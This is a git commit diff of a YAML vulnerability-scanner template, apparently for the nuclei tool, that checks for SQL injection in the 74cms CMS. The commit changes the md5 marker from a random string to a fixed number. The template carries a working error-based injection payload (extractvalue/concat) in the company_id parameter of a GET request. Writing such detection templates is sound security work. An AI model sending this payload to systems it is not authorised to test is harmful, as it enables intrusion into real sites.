Update 74cms-sqli.yaml

patch-1
Ritik Chaddha 2022-06-30 08:29:32 +05:30 committed by GitHub
parent b25fd9d35b
commit b1f9fc94d6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 2 deletions

View File

@ -14,15 +14,18 @@ info:
cwe-id: CWE-89
tags: 74cms,sqli
variables:
num: "999999999"
requests:
- method: GET
path:
- '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5("{{randstr}}"))) -- a'
- '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5({{num}}))) -- a'
matchers:
- type: word
words:
- '{{md5("{{randstr}}")}}'
- '{{md5({{num}})}}'
part: body
# Enhanced by ritikchaddha on 2022/05/05